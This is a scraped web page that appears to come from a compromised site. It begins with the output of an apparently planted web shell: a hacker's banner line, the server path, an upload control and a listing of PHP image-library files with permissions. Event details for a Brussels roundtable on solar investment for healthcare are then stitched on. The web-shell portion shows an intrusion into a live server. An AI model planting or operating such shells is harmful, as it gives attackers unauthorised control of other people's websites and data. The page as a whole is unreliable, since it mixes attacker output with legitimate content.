I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
AbstractColor.php6405 KBMay 21 2022 18:00:320666
AbstractDecoder.php8722 KBMay 21 2022 18:00:320666
AbstractDriver.php3397 KBMay 21 2022 18:00:320666
AbstractEncoder.php6330 KBMay 21 2022 18:00:320666
AbstractFont.php4735 KBMay 21 2022 18:00:320666
AbstractShape.php1366 KBMay 21 2022 18:00:320666
Commands-May 21 2022 18:00:320777
Constraint.php1610 KBMay 21 2022 18:00:320666
Exception-May 21 2022 18:00:320777
Facades-May 21 2022 18:00:320777
File.php1783 KBMay 21 2022 18:00:320666
Filters-May 21 2022 18:00:320777
Gd-May 21 2022 18:00:320777
Image.php20349 KBMay 21 2022 18:00:320666
ImageManager.php3443 KBMay 21 2022 18:00:320666
ImageManagerStatic.php2040 KBMay 21 2022 18:00:320666
ImageServiceProvider.php1979 KBMay 21 2022 18:00:320666
ImageServiceProviderLaravel4.php4113 KBMay 21 2022 18:00:320666
ImageServiceProviderLaravelRecent.php2495 KBMay 21 2022 18:00:320666
ImageServiceProviderLeague.php794 KBMay 21 2022 18:00:320666
ImageServiceProviderLumen.php714 KBMay 21 2022 18:00:320666
Imagick-May 21 2022 18:00:320777
Point.php957 KBMay 21 2022 18:00:320666
Response.php1920 KBMay 21 2022 18:00:320666
Size.php9607 KBMay 21 2022 18:00:320666
VORNE.AI - Event Details
Building Investment Models for Solarising Health
30 May
2024
CHIEF

Building Investment Models for Solarising Health

Lack of reliable electricity is a major impediment to scaling access to healthcare. Solar solutions are already demonstrating great potential to transform last mile health care and pandemic preparedness. This roundtable brings select ministers and investors from the multilaterals and private sector to explore investment models for scaling access to electricity for healthcare.

Thursday 30 May | 18H00-19H30 | Intercontinental Hotel, Bruxelles

Tags: